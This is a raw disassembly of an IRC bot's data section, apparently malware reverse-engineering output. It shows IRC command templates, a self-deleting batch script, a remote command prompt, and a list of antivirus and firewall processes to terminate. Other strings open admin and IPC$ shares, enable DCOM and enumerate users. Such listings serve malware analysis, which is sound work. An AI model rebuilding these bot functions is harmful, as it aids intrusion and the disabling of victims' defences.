dword_438730	dd 43h			; DATA XREF: ___:00437CA8o
dword_438734	dd 58h			; DATA XREF: ___:00437CA4o
					; ___:00438038o
dword_438738	dd 5Ah			; DATA XREF: ___:00437CA0o
dword_43873C	dd 4Ch			; DATA XREF: ___:00437C9Co
dword_438740	dd 4Bh			; DATA XREF: ___:00437C98o
dword_438744	dd 4Ah			; DATA XREF: ___:00437C94o
dword_438748	dd 48h			; DATA XREF: ___:00437C90o
dword_43874C	dd 47h			; DATA XREF: ___:00437C8Co
dword_438750	dd 46h			; DATA XREF: ___:00437C88o
					; ___:00438000o
dword_438754	dd 44h			; DATA XREF: ___:00437C84o
dword_438758	dd 53h			; DATA XREF: ___:00437C80o
dword_43875C	dd 50h			; DATA XREF: ___:00437C78o
dword_438760	dd 4Fh			; DATA XREF: ___:00437C74o
dword_438764	dd 55h			; DATA XREF: ___:00437C6Co
word_438768	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C68o
		align 4
dword_43876C	dd 54h			; DATA XREF: ___:00437C64o
dword_438770	dd 52h			; DATA XREF: ___:00437C60o
dword_438774	dd 45h			; DATA XREF: ___:00437C5Co
dword_438778	dd 57h			; DATA XREF: ___:00437C58o
dword_43877C	dd 51h			; DATA XREF: ___:00437C54o
dword_438780	dd 62h			; DATA XREF: ___:00437C48o
					; ___:00437F3Co ...
dword_438784	dd 78h			; DATA XREF: ___:00437C3Co
dword_438788	dd 7Ah			; DATA XREF: ___:00437C38o
dword_43878C	dd 6Ch			; DATA XREF: ___:00437C34o
dword_438790	dd 68h			; DATA XREF: ___:00437C28o
dword_438794	dd 67h			; DATA XREF: ___:00437C24o
dword_438798	dd 66h,	79h, 77h	; DATA XREF: ___:00437C20o
dword_4387A4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387B4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43892C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438984	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389A4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389A8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A14h, 438A0Ch,	2, 438A00h, 4389F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389BCo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A0o
unk_438A68	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A8C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AB8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439030	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43904C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439098	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4390F8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439170	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439668	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439694	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397B0
		dd offset dword_4397A4
		dd offset dword_439798
		dd offset dword_43978C
		dd offset dword_43977C
		dd offset dword_439770
		dd offset dword_439764
		dd offset dword_439758
		dd offset dword_43974C
		dd offset dword_43973C
		dd offset dword_439730
		dd offset dword_439720
dword_439720	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043971Co
dword_439730	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439714o
dword_43974C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439710o
dword_439758	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439700o
dword_43978C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:004396FCo
dword_439798	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397A4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397B0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F0o
dword_4397BC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396ECo
dword_4397C8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396E8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396DCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396D8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396D4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396CCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396C8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396C4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439878	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43989C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398C0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439948	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399AC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_4399D0	dd offset dword_439A08	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		dd 0
		dd offset dword_439A00
		align 10h
off_4399E0	dd offset dword_4399FC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_4399F8
		dd offset dword_4399F4
		dd offset dword_4399F0
dword_4399F0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399ECo
dword_4399F4	dd 2444h		; DATA XREF: ___:004399E8o
dword_4399F8	dd 5C3A43h		; DATA XREF: ___:004399E4o
dword_4399FC	dd 2443h		; DATA XREF: ___:off_4399E0o
dword_439A00	dd 494D4441h, 244Eh	; DATA XREF: ___:004399D8o
dword_439A08	dd 24435049h, 0		; DATA XREF: ___:off_4399D0o
dword_439A10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AB8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AE4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439BF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C28	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DA4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
